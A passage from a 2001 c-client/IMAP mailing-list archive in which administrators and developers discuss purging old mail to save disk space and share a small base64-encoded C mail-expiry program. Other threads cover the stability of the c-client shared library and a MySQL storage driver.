it. But if imapd, ipop3d, and Pine all have their own c-client shared library, you've lost the benefit but gained the complexity. From pinedev@shivax2.cac.washington.edu Mon Jun 18 18:35:04 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 18:35:04 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J1Z3D11544 for ; Mon, 18 Jun 2001 18:35:03 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 18:35:02 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J1Z0u07045; Mon, 18 Jun 2001 18:35:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J1Ymp32494; Mon, 18 Jun 2001 18:34:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J1XT0113996 for ; Mon, 18 Jun 2001 18:33:29 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J1XSX22192 for ; Mon, 18 Jun 2001 18:33:29 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.10.2) with ESMTP id f5J1XNu03744 for ; Mon, 18 Jun 2001 18:33:23 -0700 Message-Id: Date: Mon, 18 Jun 2001 18:33:23 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: Subject: Server management In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, so we sold everyone on how wonderful IMAP is, and now the problem is that they are using it .... We have people that don't move mail from their inbox, people that don't clean up their sent-mail, people that use mail for sending huge binary files, and people that just plain have a whole lot of mail. In principle this is fine, but our RAID array is filling faster than we thought it would. Some of these people probably don't realise that they even have a sent-mail folder, or that if they send a 20Mb TIFF that a copy goes in there. I was wondering what tools may exist for, say, purging attachments over 5Mb from sent-mail. For that matter, are there any Windows tools for deleting attachements from mail in folders ? I found how to do it in Pine on Unix (OK, I suppose PC-Pine might cut it). Even being able to gather statistics on attachment sizes might help, so we can tell who has big attachments & what they are and complain to them. I converted to MBX some time ago, so can't hack folders myself easily. I could look at the Perl Mail::Cclient I guess. -- Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 security@triumf.ca -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 18 21:51:43 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 21:51:42 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J4pfD20775 for ; Mon, 18 Jun 2001 21:51:41 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 21:51:40 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J4pcC02640; Mon, 18 Jun 2001 21:51:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J4pPX16514; Mon, 18 Jun 2001 21:51:26 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J4od0113830 for ; Mon, 18 Jun 2001 21:50:39 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J4ocX17453 for ; Mon, 18 Jun 2001 21:50:39 -0700 Received: from clt88-150-168.carolina.rr.com (clt88-150-168.carolina.rr.com [24.88.150.168]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f5J4oUe23741; Mon, 18 Jun 2001 23:50:30 -0500 Message-Id: Date: Tue, 19 Jun 2001 00:50:29 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Egan To: Andrew Daviel Cc: Subject: Re: Server management In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--=_lgmtit0jumr0aicpsitg79rrurhfsi4q5r.MFSBCHJLHS" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ----=_lgmtit0jumr0aicpsitg79rrurhfsi4q5r.MFSBCHJLHS Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On Mon, 18 Jun 2001 18:33:23 -0700 (PDT), Andrew Daviel wrote: >our RAID array is filling faster than we thought it would. >I converted to MBX some time ago, so can't hack folders myself easily. Our policy is 40 days retention for INBOX mail, 120 days retention for folder mail. After that, we whack it! Attached is a simple .c program we wrote to implement our policy. It works for any mailbox format, including mbx. Enjoy! ----=_lgmtit0jumr0aicpsitg79rrurhfsi4q5r.MFSBCHJLHS Content-Type: application/octet-stream; name=mailpurge.c Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=mailpurge.c RnJvbSByb290QG5zMS5zZXZlbmtpbmdzLm5ldCBUdWUgSnVuIDE5IDAwOjQwOjQyIDIwMDENClJl Y2VpdmVkOiB2aWEgZG1haWwtMjAwMCgxMSkgZm9yIHN2a25fZWdhbjsgTW9uLCAxOCBKdW4gMjAw MSAyMzo0MDo0MiAtMDUwMCAoQ0RUKQ0KUmV0dXJuLVBhdGg6IDxyb290QG5zMS5zZXZlbmtpbmdz Lm5ldD4NClJlY2VpdmVkOiAoZnJvbSByb290QGxvY2FsaG9zdCkNCglieSBuczEuc2V2ZW5raW5n cy5uZXQgKDguMTEuMi84LjExLjIvU3VTRSBMaW51eCA4LjExLjEtMC41KSBpZCBmNUo0ZWc3MjM2 NzkNCglmb3IgZWdhbkBzZXZlbmtpbmdzLm5ldDsgTW9uLCAxOCBKdW4gMjAwMSAyMzo0MDo0MiAt MDUwMA0KRGF0ZTogTW9uLCAxOCBKdW4gMjAwMSAyMzo0MDo0MiAtMDUwMA0KRnJvbTogS2luZyBv ZiBIZWFydHMgPHJvb3RAbnMxLnNldmVua2luZ3MubmV0Pg0KTWVzc2FnZS1JZDogPDIwMDEwNjE5 MDQ0MC5mNUo0ZWc3MjM2NzlAbnMxLnNldmVua2luZ3MubmV0Pg0KVG86IGVnYW5Ac2V2ZW5raW5n cy5uZXQNClN0YXR1czogDQoNCi8qDQogKiBQcm9ncmFtOiAgICAgRXhwaXJlIGFuZCBwdXJnZSBv bGQgbWVzc2FnZXMNCiAqDQogKiBVc2FnZTogICAgICAge3Byb2dyYW19IG1haWxib3ggZGF5cw0K ICoNCiAqIE5vdGVzOiAgICAgICBUaGUgZGF5cyBwYXJhbWV0ZXIgbWVhbnMgdGhlIG51bWJlciBv ZiBkYXlzIHRvIGtlZXANCiAqICAgICAgICAgICAgICBtZXNzYWdlcywgaW4gd2hvbGUgZGF5cy4g IERheXMgPSAxIG1lYW5zIGtlZXAgdG9kYXkncw0KICogICAgICAgICAgICAgIG1lc3NhZ2VzIGFu ZCB5ZXN0ZXJkYXkncyB0b28sIHNpbmNlIHRvZGF5IGNhbiBuZXZlcg0KICogICAgICAgICAgICAg IGJlIGEgd2hvbGUgZGF5IHVudGlsIHRvbW9ycm93LiAgTW9zdCBpbnNjcnV0YWJseSBzbyENCiAq DQogKg0KICogQ29weXJpZ2h0IDIwMDEgYnkgdGhlIFVuaXZlcnNpdHkgb2YgV2FzaGluZ3Rvbg0K ICoNCiAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5LCBtb2RpZnksIGFuZCBkaXN0cmlidXRlIHRo aXMgc29mdHdhcmUgYW5kIGl0cw0KICogZG9jdW1lbnRhdGlvbiBmb3IgYW55IHB1cnBvc2UgYW5k IHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZA0KICogdGhhdCB0aGUgYWJv dmUgY29weXJpZ2h0IG5vdGljZSBhcHBlYXJzIGluIGFsbCBjb3BpZXMgYW5kIHRoYXQgYm90aCB0 aGUNCiAqIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ug YXBwZWFyIGluIHN1cHBvcnRpbmcNCiAqIGRvY3VtZW50YXRpb24sIGFuZCB0aGF0IHRoZSBuYW1l IG9mIHRoZSBVbml2ZXJzaXR5IG9mIFdhc2hpbmd0b24gbm90IGJlDQogKiB1c2VkIGluIGFkdmVy dGlzaW5nIG9yIHB1YmxpY2l0eSBwZXJ0YWluaW5nIHRvIGRpc3RyaWJ1dGlvbiBvZiB0aGUgc29m dHdhcmUNCiAqIHdpdGhvdXQgc3BlY2lmaWMsIHdyaXR0ZW4gcHJpb3IgcGVybWlzc2lvbi4gIFRo aXMgc29mdHdhcmUgaXMgbWFkZQ0KICogYXZhaWxhYmxlICJhcyBpcyIsIGFuZA0KICogVEhFIFVO SVZFUlNJVFkgT0YgV0FTSElOR1RPTiBESVNDTEFJTVMgQUxMIFdBUlJBTlRJRVMsIEVYUFJFU1Mg T1IgSU1QTElFRCwNCiAqIFdJVEggUkVHQVJEIFRPIFRISVMgU09GVFdBUkUsIElOQ0xVRElORyBX SVRIT1VUIExJTUlUQVRJT04gQUxMIElNUExJRUQNCiAqIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRB QklMSVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSwgQU5EIElODQogKiBO TyBFVkVOVCBTSEFMTCBUSEUgVU5JVkVSU0lUWSBPRiBXQVNISU5HVE9OIEJFIExJQUJMRSBGT1Ig QU5ZIFNQRUNJQUwsDQogKiBJTkRJUkVDVCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5Z IERBTUFHRVMgV0hBVFNPRVZFUiBSRVNVTFRJTkcgRlJPTQ0KICogTE9TUyBPRiBVU0UsIERBVEEg T1IgUFJPRklUUywgV0hFVEhFUiBJTiBBTiBBQ1RJT04gT0YgQ09OVFJBQ1QsIFRPUlQNCiAqIChJ TkNMVURJTkcgTkVHTElHRU5DRSkgT1IgU1RSSUNUIExJQUJJTElUWSwgQVJJU0lORyBPVVQgT0Yg T1IgSU4gQ09OTkVDVElPTg0KICogV0lUSCBUSEUgVVNFIE9SIFBFUkZPUk1BTkNFIE9GIFRISVMg U09GVFdBUkUuDQogKg0KICovDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxjdHlwZS5o Pg0KI2luY2x1ZGUgPHNpZ25hbC5oPg0KI2luY2x1ZGUgPHRpbWUuaD4NCiNpbmNsdWRlIDxlcnJu by5oPg0KI2luY2x1ZGUgIm1haWwuaCINCiNpbmNsdWRlICJvc2RlcC5oIg0KI2luY2x1ZGUgIm1p c2MuaCINCiNpbmNsdWRlICJsaW5rYWdlLmgiDQoNCmludCBkZWJ1ZyA9IE5JTDsNCmludCB2ZXJi b3NlID0gTklMOw0KaW50IGNyaXRpY2FsID0gTklMOw0KDQppbnQgbWFpbiAoaW50IGFyZ2MsIGNo YXIgKmFyZ3ZbXSkgew0KDQoJY2hhciAqcGdtOw0KCXRpbWVfdCB0czsNCglzdHJ1Y3QgdG0gdGw7 DQoJbG9uZyBpbnQgZGF5c190b19rZWVwOw0KCXVuc2lnbmVkIGxvbmcgaW50IGljLCBpeCwgcGM7 DQoJTUFJTFNUUkVBTSAqbXM7DQoJU0VBUkNIUEdNICpzcDsNCgljaGFyIHRtcFtNQUlMVE1QTEVO XTsNCg0KCXBjID0gMDsNCgltcyA9IE5VTEw7DQoJc3AgPSBOVUxMOw0KCQ0KI2luY2x1ZGUgImxp bmthZ2UuYyINCg0KCWlmIChhcmdjICE9IDMpIHsNCgkJcGdtID0gc3RycmNociAoYXJndlswXSwg Jy8nKTsNCgkJaWYgKHBnbSA9PSBOVUxMKSBwZ20gPSBhcmd2WzBdOyBlbHNlIHBnbSsrOw0KCQlw cmludGYgKCJVc2FnZTogJXMgbWFpbGJveCBkYXlzXG4iLCBwZ20pOw0KCQlyZXR1cm4gKDEpOw0K CX0NCg0KCWljID0gc3NjYW5mIChhcmd2WzJdLCAiJWxkIiwgJmRheXNfdG9fa2VlcCk7DQoJaWYg KGljICE9IDEgfHwgZGF5c190b19rZWVwIDwgMSB8fCBkYXlzX3RvX2tlZXAgPiA3MDAwKSB7DQoJ CXByaW50ZiAoIklucHV0OiBkYXlzIG11c3QgcmFuZ2UgZnJvbSAxIHRvIDcwMDBcbiIpOw0KCQly ZXR1cm4gKDEpOw0KCX0NCg0KCWlmICghKG1zID0gbWFpbF9vcGVuIChOVUxMLCBhcmd2WzFdLCBP UF9TSE9SVENBQ0hFKSkpDQoJCXJldHVybiAoMSk7DQoNCglpZiAoIW1zLT5ubXNncykgew0KCQlp ZiAodmVyYm9zZSkNCgkJCXByaW50ZiAoIiVzIGlzIGVtcHR5XG4iLCBtcy0+bWFpbGJveCk7DQoJ CW1haWxfY2xvc2UgKG1zKTsNCgkJcmV0dXJuICgwKTsNCgl9DQoNCglzcCA9IG1haWxfbmV3c2Vh cmNocGdtICgpOw0KCWlmIChzcCA9PSBOVUxMKSB7DQoJCXByaW50ZiAoIk5vdCBlbm91Z2ggbWVt b3J5IGZvciBzZWFyY2ggcHJvZ3JhbVxuIik7DQoJCW1haWxfY2xvc2UgKG1zKTsNCgkJcmV0dXJu ICgxKTsNCgl9DQoNCglpZiAodmVyYm9zZSkNCgkJcHJpbnRmICgiJXMgaGFzICVsdSBtZXNzYWdl KHMpXG4iLCBtcy0+bWFpbGJveCwgbXMtPm5tc2dzKTsNCgl0cyA9IHRpbWUgKE5VTEwpOw0KCXRz IC09IGRheXNfdG9fa2VlcCAqIDg2NDAwOw0KCXRsID0gKihsb2NhbHRpbWUgKCZ0cykpOw0KCXNw LT5iZWZvcmUgPSAoKCh0bC50bV95ZWFyICsgMTkwMCkgLSBCQVNFWUVBUiA8PCA5KSB8ICgodGwu dG1fbW9uICsgMSkgPDwgNSkgfCB0bC50bV9tZGF5KTsNCgltYWlsX3NlYXJjaF9mdWxsIChtcywg TlVMTCwgc3AsIFNFX05PUFJFRkVUQ0gpOw0KCW1haWxfZnJlZV9zZWFyY2hwZ20gKCZzcCk7DQoJ Zm9yIChpeCA9IDE7IGl4IDw9IG1zLT5ubXNnczsgaXgrKykgew0KCQlpZiAobWFpbF9lbHQgKG1z LCBpeCktPnNlYXJjaGVkKSB7DQoJCQlwYysrOw0KCQkJc25wcmludGYgKHRtcCwgc2l6ZW9mIHRt cCwgIiVsdSIsIGl4KTsNCgkJCW1haWxfc2V0ZmxhZyAobXMsIHRtcCwgIlxcRGVsZXRlZCIpOw0K CQl9DQoJfQ0KCWlmICh2ZXJib3NlKQ0KCQlwcmludGYgKCIlcyBoYXMgJWx1IG1lc3NhZ2Uocykg dG8gZXhwdW5nZVxuIiwgbXMtPm1haWxib3gsIHBjKTsNCgltYWlsX2V4cHVuZ2UgKG1zKTsNCglt YWlsX2Nsb3NlIChtcyk7DQoJcmV0dXJuICgwKTsNCn0NCg0Kdm9pZCBtbV9zZWFyY2hlZCAoTUFJ TFNUUkVBTSAqc3RyZWFtLCB1bnNpZ25lZCBsb25nIG51bWJlcikNCnsNCglpZiAodmVyYm9zZSAm JiBkZWJ1ZykNCgkJcHJpbnRmICgiTWVzc2FnZSAlbHUgZmxhZ2dlZCBmb3IgZGVsZXRlXG4iLCBu dW1iZXIpOw0KfQ0KDQp2b2lkIG1tX2V4aXN0cyAoTUFJTFNUUkVBTSAqc3RyZWFtLCB1bnNpZ25l ZCBsb25nIG51bWJlcikNCnsNCn0NCg0Kdm9pZCBtbV9leHB1bmdlZCAoTUFJTFNUUkVBTSAqc3Ry ZWFtLCB1bnNpZ25lZCBsb25nIG51bWJlcikNCnsNCn0NCg0Kdm9pZCBtbV9mbGFncyAoTUFJTFNU UkVBTSAqc3RyZWFtLCB1bnNpZ25lZCBsb25nIG51bWJlcikNCnsNCn0NCg0Kdm9pZCBtbV9ub3Rp ZnkgKE1BSUxTVFJFQU0gKnN0cmVhbSwgY2hhciAqc3RyaW5nLCBsb25nIGVycmZsZykNCnsNCglt bV9sb2cgKHN0cmluZywgZXJyZmxnKTsNCn0NCg0Kdm9pZCBtbV9saXN0IChNQUlMU1RSRUFNICpz dHJlYW0sIGludCBkZWxpbWl0ZXIsIGNoYXIgKm1haWxib3gsIGxvbmcgYXR0cmlidXRlcykNCnsN Cn0NCg0Kdm9pZCBtbV9sc3ViIChNQUlMU1RSRUFNICpzdHJlYW0sIGludCBkZWxpbWl0ZXIsIGNo YXIgKm1haWxib3gsIGxvbmcgYXR0cmlidXRlcykNCnsNCn0NCg0Kdm9pZCBtbV9zdGF0dXMgKE1B SUxTVFJFQU0gKnN0cmVhbSwgY2hhciAqbWFpbGJveCwgTUFJTFNUQVRVUyAqc3RhdHVzKQ0Kew0K fQ0KDQp2b2lkIG1tX2xvZyAoY2hhciAqc3RyaW5nLCBsb25nIGVycmZsZykNCnsNCglzd2l0Y2gg KChzaG9ydCkgZXJyZmxnKSB7DQoJCWNhc2UgQllFOg0KCQljYXNlIE5JTDoNCgkJCWlmICh2ZXJi b3NlKSBwcmludGYgKCJbJXNdXG4iLCBzdHJpbmcpOw0KCQkJYnJlYWs7DQoJCWNhc2UgUEFSU0U6 DQoJCQlicmVhazsNCgkJY2FzZSBXQVJOOg0KCQkJZnByaW50ZiAoc3RkZXJyLCAiJSUlc1xuIiwg c3RyaW5nKTsNCgkJCWJyZWFrOw0KCQljYXNlIEVSUk9SOg0KCQlkZWZhdWx0Og0KCQkJZnByaW50 ZiAoc3RkZXJyLCAiPyVzXG4iLCBzdHJpbmcpOw0KCQlicmVhazsNCgl9DQp9DQoNCnZvaWQgbW1f ZGxvZyAoY2hhciAqc3RyaW5nKQ0Kew0KCWZwcmludGYgKHN0ZGVyciwgIiVzXG4iLHN0cmluZyk7 DQp9DQoNCnZvaWQgbW1fY3JpdGljYWwgKE1BSUxTVFJFQU0gKnN0cmVhbSkNCnsNCgljcml0aWNh bCA9IFQ7DQp9DQoNCnZvaWQgbW1fbm9jcml0aWNhbCAoTUFJTFNUUkVBTSAqc3RyZWFtKQ0Kew0K CWNyaXRpY2FsID0gTklMOw0KfQ0KDQpsb25nIG1tX2Rpc2tlcnJvciAoTUFJTFNUUkVBTSAqc3Ry ZWFtLCBsb25nIGVycmNvZGUsIGxvbmcgc2VyaW91cykNCnsNCglraWxsIChnZXRwaWQgKCksIFNJ R1NUT1ApOw0KCXJldHVybiAoMSk7DQp9DQoNCnZvaWQgbW1fZmF0YWwgKGNoYXIgKnN0cmluZykN CnsNCglmcHJpbnRmIChzdGRlcnIsIj8lc1xuIiwgc3RyaW5nKTsNCn0NCg0Kdm9pZCBtbV9sb2dp biAoTkVUTUJYICptYixjaGFyICp1c2VyLGNoYXIgKnB3ZCxsb25nIHRyaWFsKQ0Kew0KfQ0KDQoN Cg== ----=_lgmtit0jumr0aicpsitg79rrurhfsi4q5r.MFSBCHJLHS-- From pinedev@shivax2.cac.washington.edu Mon Jun 18 22:43:02 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jun 2001 22:42:56 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J5gtD06541 for ; Mon, 18 Jun 2001 22:42:55 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 18 22:42:54 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J5gqC03703; Mon, 18 Jun 2001 22:42:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J5gfE17852; Mon, 18 Jun 2001 22:42:41 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J5g4060578 for ; Mon, 18 Jun 2001 22:42:04 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J5g4K21153 for ; Mon, 18 Jun 2001 22:42:04 -0700 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J5fvC03680; Mon, 18 Jun 2001 22:42:01 -0700 Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id f5J5ftc01739; Tue, 19 Jun 2001 07:41:55 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail2.siemens.de (8.11.0/8.11.0) with ESMTP id f5J5fsC05032; Tue, 19 Jun 2001 07:41:54 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id NF0BT5AY; Tue, 19 Jun 2001 09:43:05 +0400 Message-Id: <000201c0f882$8b643110$21c9ca95@mow.siemens.ru> Date: Tue, 19 Jun 2001 09:41:53 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Mark Crispin" , "Tim Culver" Cc: "T.Pospisek's MailLists" , "Julian Hall" , Subject: RE: 'mailsync' program experiences & loss of mail problem? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Mon, 18 Jun 2001 15:17:39 -0700 (PDT), Tim Culver wrote: > > We want to > > ship an operating system with a shared-object version of the c-client > > library. Is the c-client API stable enough to do that? Of course I'm > > interested in Mark's answer. > > It's a question of what you mean by "stable". > > For the definition of "stable" as "nothing changes in it any > more, it'll be > the same next year as it is now", then c-client most assuredly is > not stable. > I work on c-client and related software (including imapd) on a > daily basis. > The only time c-client is "stable" in that sense is when I go on vacation. > > For the definition of "stable" as in "can you build reliable > applications from > it" then c-client has been stable for many years. > > The problem is, for the purposes of shared libraries, I fear that > the former > definition of "stable" is the one that most people care about. > FWIW I have been using shared version of c-client for years. I usually rebuild clients only when new version comes out, but rebuild c-client library casually when new imap distro appears (when I notice it to be sure :-) It means, that currently I have imap-utils dated 19 Dec 2000 (and built somewhen in this time) and I have built four or five versions of c-client shared library since then without updating imap-utils. -andrej From pinedev@shivax2.cac.washington.edu Tue Jun 19 00:24:31 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 00:24:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J7OUD17128 for ; Tue, 19 Jun 2001 00:24:30 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 00:24:29 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J7ORu14437; Tue, 19 Jun 2001 00:24:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J7O9H18468; Tue, 19 Jun 2001 00:24:10 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J75A0127050 for ; Tue, 19 Jun 2001 00:05:10 -0700 Received: from plan69.com (root@plan69.com [216.218.248.79]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J759K00362 for ; Tue, 19 Jun 2001 00:05:09 -0700 Received: from gigahz (CPE-203-45-50-143.vic.bigpond.net.au [203.45.50.143]) by plan69.com (8.11.4/3.13.01) with SMTP id f5J74vw12774 for ; Tue, 19 Jun 2001 00:04:57 -0700 (PDT) Message-Id: Date: Tue, 19 Jun 2001 17:05:03 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Herr Doktor C. Lesser" To: Subject: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have developed a 'functional' perhaps that's the the correct word... 'working' MySQL driver for c-client to use with (UW's IMAPD and) my web-mail program (http://www.spannermail.com). It works reasonably well, and I'm considering releasing it into the public domain. However there are few little quirks that I can't quite resolve. Esp my Outlook 2000 client has a habit of saying that it couldn't open my Inbox and that it's local cache may be out of date. This vexes me considerably, as I am using the database ID field (a unique static identifier) for my UID field, so there is really no way that information could have changed. I've looked at the packets that are flowing back and forth, and everything seems to be correct, yet outlook give me these errors all the time. Anyway, if I can perfect the driver, then I will release it. Otherwise I don't really want to embarrass myself by releasing a half-working driver. :) Feel free to signup and try the IMAP daemon on your client if you are interested in helping me out. Thanks. Cyrus -----BEGIN PGP SIGNATURE----- Version: PGP 7.0 iQA/AwUBOy75lusXxhye+wP7EQIU6gCgx3NofacUL/QW0GEmyguwtHZ4hBQAoLUn Mfc5gOFJD02JjRHjcrJ3ZdlH =ZthB -----END PGP SIGNATURE----- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 19 01:48:50 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 01:48:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J8jPD06612 for ; Tue, 19 Jun 2001 01:46:26 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 01:44:56 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J8isC06998; Tue, 19 Jun 2001 01:44:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5J8ibE15722; Tue, 19 Jun 2001 01:44:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J8hM044698 for ; Tue, 19 Jun 2001 01:43:22 -0700 Received: from plan69.com (root@plan69.com [216.218.248.79]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5J8hLs09456 for ; Tue, 19 Jun 2001 01:43:22 -0700 Received: from gigahz (CPE-203-45-50-143.vic.bigpond.net.au [203.45.50.143]) by plan69.com (8.11.4/3.13.01) with SMTP id f5J8hDO16475 for ; Tue, 19 Jun 2001 01:43:14 -0700 (PDT) Message-Id: Date: Tue, 19 Jun 2001 18:43:19 +1000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Herr Doktor C. Lesser" To: Subject: Disregard outlook problems: RE: Are there any c-client driver developers willing to offer advice on fixing my MySQL c-client driver? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 